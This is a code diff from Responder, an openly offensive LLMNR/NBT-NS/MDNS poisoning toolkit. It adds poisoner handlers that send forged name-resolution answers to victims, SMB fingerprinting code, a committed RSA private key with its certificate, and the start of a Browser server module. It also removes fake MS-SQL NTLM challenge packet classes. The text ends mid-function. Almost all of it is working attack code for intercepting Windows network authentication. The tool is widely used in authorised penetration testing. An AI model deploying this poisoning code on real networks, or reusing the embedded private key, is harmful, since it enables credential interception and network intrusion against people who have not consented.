-        ("CRLF",             "\x0d\x0a"),
-
-        ]) 
-
-

SQLPackets.py

@@ -1,167 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#MS-SQL Pre-login packet class
-class MSSQLPreLoginAnswer(Packet):
-    fields = OrderedDict([
-        ("PacketType",       "\x04"),
-        ("Status",           "\x01"), 
-        ("Len",              "\x00\x25"),
-        ("SPID",             "\x00\x00"),
-        ("PacketID",         "\x01"),
-        ("Window",           "\x00"),
-        ("TokenType",        "\x00"),
-        ("VersionOffset",    "\x00\x15"),
-        ("VersionLen",       "\x00\x06"),
-        ("TokenType1",       "\x01"),
-        ("EncryptionOffset", "\x00\x1b"),
-        ("EncryptionLen",    "\x00\x01"),
-        ("TokenType2",       "\x02"),
-        ("InstOptOffset",    "\x00\x1c"),
-        ("InstOptLen",       "\x00\x01"),
-        ("TokenTypeThrdID",  "\x03"),
-        ("ThrdIDOffset",     "\x00\x1d"),
-        ("ThrdIDLen",        "\x00\x00"),
-        ("ThrdIDTerminator", "\xff"),
-        ("VersionStr",       "\x09\x00\x0f\xc3"),
-        ("SubBuild",         "\x00\x00"),
-        ("EncryptionStr",    "\x02"),
-        ("InstOptStr",       "\x00"),
-        ]) 
-
-    def calculate(self):
-        CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
-
-        VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
-
-        EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
-
-        InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
-         
-        ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
-
-        self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
-        #Version
-        self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
-        self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
-        #Encryption
-        self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
-        self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
-        #InstOpt
-        self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
-        self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
-        #ThrdIDOffset
-        self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
-
-#MS-SQL NTLM Negotiate packet class
-class MSSQLNTLMChallengeAnswer(Packet):
-    fields = OrderedDict([
-        ("PacketType",       "\x04"), 
-        ("Status",           "\x01"),
-        ("Len",              "\x00\xc7"),
-        ("SPID",             "\x00\x00"),
-        ("PacketID",         "\x01"),
-        ("Window",           "\x00"),
-        ("TokenType",        "\xed"),
-        ("SSPIBuffLen",      "\xbc\x00"),
-        ("Signature",        "NTLMSSP"),
-        ("SignatureNull",    "\x00"),
-        ("MessageType",      "\x02\x00\x00\x00"),
-        ("TargetNameLen",    "\x06\x00"),
-        ("TargetNameMaxLen", "\x06\x00"),
-        ("TargetNameOffset", "\x38\x00\x00\x00"),
-        ("NegoFlags",        "\x05\x02\x89\xa2"),
-        ("ServerChallenge",  ""),
-        ("Reserved",         "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("TargetInfoLen",    "\x7e\x00"),
-        ("TargetInfoMaxLen", "\x7e\x00"),
-        ("TargetInfoOffset", "\x3e\x00\x00\x00"),
-        ("NTLMOsVersion",    "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
-        ("TargetNameStr",    "SMB"),
-        ("Av1",              "\x02\x00"),#nbt name
-        ("Av1Len",           "\x06\x00"),
-        ("Av1Str",           "SMB"),
-        ("Av2",              "\x01\x00"),#Server name
-        ("Av2Len",           "\x14\x00"),
-        ("Av2Str",           "SMB-TOOLKIT"),
-        ("Av3",              "\x04\x00"),#Full Domain name
-        ("Av3Len",           "\x12\x00"),
-        ("Av3Str",           "smb.local"),
-        ("Av4",              "\x03\x00"),#Full machine domain name
-        ("Av4Len",           "\x28\x00"),
-        ("Av4Str",           "server2003.smb.local"),
-        ("Av5",              "\x05\x00"),#Domain Forest Name
-        ("Av5Len",           "\x12\x00"),
-        ("Av5Str",           "smb.local"),
-        ("Av6",              "\x00\x00"),#AvPairs Terminator
-        ("Av6Len",           "\x00\x00"),
-        ]) 
-
-    def calculate(self):
-        ##First convert to uni
-        self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
-        self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
-        self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
-        self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
-        self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
-        self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
-        ##Then calculate
-
-        CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
-        CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
-        CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
-        self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
-        # Target Name Offsets
-        self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
-        self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        #AvPairs Offsets
-        self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
-        self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        #AvPairs StrLen
-        self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
-        self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
-        self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
-        self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
-        self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
-        #AvPairs 6 len is always 00.

certs/gen-self-signed-cert.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+openssl genrsa -out responder.key 2048
+openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"

certs/responder.crt

@@ -0,0 +1,18 @@
+-----BEGIN CERTIFICATE-----
+MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
+NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
+sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
+2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
+6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
+WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
+N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
+YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
+6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
+YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
+koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
+4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
+YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
+HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
+u0/CRCN/lg==
+-----END CERTIFICATE-----

certs/responder.key

@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
+sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
+2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
+6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
+WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
+N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
+1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
+kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
+YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
+FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
+erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
+IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
+nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
+LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
+cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
+5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
+s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
+ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
+VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
+AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
+HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
+VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
+kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
+f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
+MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
+-----END RSA PRIVATE KEY-----

fingerprint.py

@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import socket
+import struct
+
+from utils import color
+from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
+
+def OsNameClientVersion(data):
+	try:
+		length = struct.unpack('<H',data[43:45])[0]
+		pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
+		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		return OsVersion, ClientVersion
+	except:
+	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
+
+def RunSmbFinger(host):
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.connect(host)
+		s.settimeout(0.7)
+
+		h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+		n = SMBNego(data = SMBNegoFingerData())
+		n.calculate()
+		
+		Packet = str(h)+str(n)
+		Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+		s.send(Buffer)
+		data = s.recv(2048)
+		
+		if data[8:10] == "\x72\x00":
+			Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+			Body = SMBSessionFingerData()
+			Body.calculate()
+
+			Packet = str(Header)+str(Body)
+			Buffer = struct.pack(">i", len(''.join(Packet)))+Packet  
+
+			s.send(Buffer) 
+			data = s.recv(2048)
+
+		if data[8:10] == "\x73\x16":
+			return OsNameClientVersion(data)
+	except:
+		print color("[!] ", 1, 1) +" Fingerprint failed"
+		return None

odict.py

@@ -1,7 +1,7 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
 # the Free Software Foundation, either version 3 of the License, or
@@ -14,7 +14,6 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
 from UserDict import DictMixin
 
 class OrderedDict(dict, DictMixin):
@@ -78,7 +77,7 @@ class OrderedDict(dict, DictMixin):
         inst_dict = vars(self).copy()
         self.__map, self.__end = tmp
         if inst_dict:
-            return (self.__class__, (items,), inst_dict)
+            return self.__class__, (items,), inst_dict
         return self.__class__, (items,)
 
     def keys(self):

poisoners/LLMNR.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+import fingerprint
+
+from packets import LLMNR_Ans
+from SocketServer import BaseRequestHandler
+from utils import *
+
+
+def Parse_LLMNR_Name(data):
+	NameLen = struct.unpack('>B',data[12])[0]
+	return data[13:13+NameLen]
+
+
+def IsICMPRedirectPlausible(IP):
+	dnsip = []
+	for line in file('/etc/resolv.conf', 'r'):
+		ip = line.split()
+		if len(ip) < 2:
+		   continue
+		elif ip[0] == 'nameserver':
+			dnsip.extend(ip[1:])
+	for x in dnsip:
+		if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
+			print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
+			print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
+			print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
+
+if settings.Config.AnalyzeMode:
+	IsICMPRedirectPlausible(settings.Config.Bind_To)
+
+
+class LLMNR(BaseRequestHandler):  # LLMNR Server class
+	def handle(self):
+		data, soc = self.request
+		Name = Parse_LLMNR_Name(data)
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisHost(self.client_address[0], Name) is not True:
+			return None
+
+		if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
+			Finger = None
+			if settings.Config.Finger_On_Off:
+				Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
+
+			if settings.Config.AnalyzeMode:
+				LineHeader = "[Analyze mode: LLMNR]"
+				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+			else:  # Poisoning Mode
+				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
+				Buffer.calculate()
+				soc.sendto(str(Buffer), self.client_address)
+				LineHeader = "[*] [LLMNR]"
+				print color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+			if Finger is not None:
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

poisoners/MDNS.py

@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+
+from SocketServer import BaseRequestHandler
+from packets import MDNS_Ans
+from utils import *
+
+def Parse_MDNS_Name(data):
+	try:
+		data = data[12:]
+		NameLen = struct.unpack('>B',data[0])[0]
+		Name = data[1:1+NameLen]
+		NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
+		Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
+		return Name+'.'+Name_
+	except IndexError:
+		return None
+
+
+def Poisoned_MDNS_Name(data):
+	data = data[12:]
+	return data[:len(data)-5]
+
+class MDNS(BaseRequestHandler):
+	def handle(self):
+		MADDR = "224.0.0.251"
+		MPORT = 5353
+
+		data, soc = self.request
+		Request_Name = Parse_MDNS_Name(data)
+
+		# Break out if we don't want to respond to this host
+		if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
+			return None
+
+		if settings.Config.AnalyzeMode:  # Analyze Mode
+			if Parse_IPV6_Addr(data):
+				print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
+		else:  # Poisoning Mode
+			if Parse_IPV6_Addr(data):
+
+				Poisoned_Name = Poisoned_MDNS_Name(data)
+				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
+				Buffer.calculate()
+				soc.sendto(str(Buffer), (MADDR, MPORT))
+
+				print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)

poisoners/NBTNS.py

@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import fingerprint
+
+from packets import NBT_Ans
+from SocketServer import BaseRequestHandler
+from utils import *
+
+# Define what are we answering to.
+def Validate_NBT_NS(data):
+	if settings.Config.AnalyzeMode:
+		return False
+	elif NBT_NS_Role(data[43:46]) == "File Server":
+		return True
+	elif settings.Config.NBTNSDomain:
+		if NBT_NS_Role(data[43:46]) == "Domain Controller":
+			return True
+	elif settings.Config.Wredirect:
+		if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
+			return True
+	return False
+
+# NBT_NS Server class.
+class NBTNS(BaseRequestHandler):
+
+	def handle(self):
+
+		data, socket = self.request
+		Name = Decode_Name(data[13:45])
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisHost(self.client_address[0], Name) is not True:
+			return None
+
+		if data[2:4] == "\x01\x10":
+			Finger = None
+			if settings.Config.Finger_On_Off:
+				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
+
+			if settings.Config.AnalyzeMode:  # Analyze Mode
+				LineHeader = "[Analyze mode: NBT-NS]"
+				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+			else:  # Poisoning Mode
+				Buffer = NBT_Ans()
+				Buffer.calculate(data)
+				socket.sendto(str(Buffer), self.client_address)
+				LineHeader = "[*] [NBT-NS]"
+
+				print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
+
+			if Finger is not None:
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

servers/Browser.py

@@ -0,0 +1,197 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
+from SocketServer import BaseRequestHandler
+from utils import *
+import struct
+
+
+def WorkstationFingerPrint(data):
+	return {
+ 		"\x04\x00"    :"Windows 95",
+		"\x04\x0A"    :"Windows 98",
+		"\x04\x5A"    :"Windows ME",
+ 		"\x05\x00"    :"Windows 2000",
+ 		"\x05\x01"    :"Windows XP",
+ 		"\x05\x02"    :"Windows XP(64-Bit)/Windows 2003",
+ 		"\x06\x00"    :"Windows Vista/Server 2008",
+ 		"\x06\x01"    :"Windows 7/Server 2008R2",
+ 		"\x06\x02"    :"Windows 8/Server 2012",
+ 		"\x06\x03"    :"Windows 8.1/Server 2012R2",
+		"\x0A\x00"    :"Windows 10/Server 2016",
+ 	}.get(data, 'Unknown')
+
+
+def RequestType(data):
+	return {
+		"\x01": 'Host Announcement',
+		"\x02": 'Request Announcement',
+		"\x08": 'Browser Election',
+		"\x09": 'Get Backup List Request',
+		"\x0a": 'Get Backup List Response',
+		"\x0b": 'Become Backup Browser',
+		"\x0c": 'Domain/Workgroup Announcement',
+		"\x0d": 'Master Announcement',
+		"\x0e": 'Reset Browser State Announcement',
+		"\x0f": 'Local Master Announcement',
+	}.get(data, 'Unknown')
+
+
+def PrintServerName(data, entries):
+	if entries <= 0:
+		return None
+	entrieslen = 26 * entries
+	chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
+	ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
+
+	l = []
+	for x in ServerName:
+		fingerprint = WorkstationFingerPrint(x[16:18])
+		name = x[:16].replace('\x00', '')
+		l.append('%s (%s)' % (name, fingerprint))
+	return l
+
+
+def ParsePacket(Payload):
+	PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
+	StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
+
+	if StatusCode == "\x00\x00":
+		EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
+		return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
+	return None
+
+
+def RAPThisDomain(Client,Domain):		
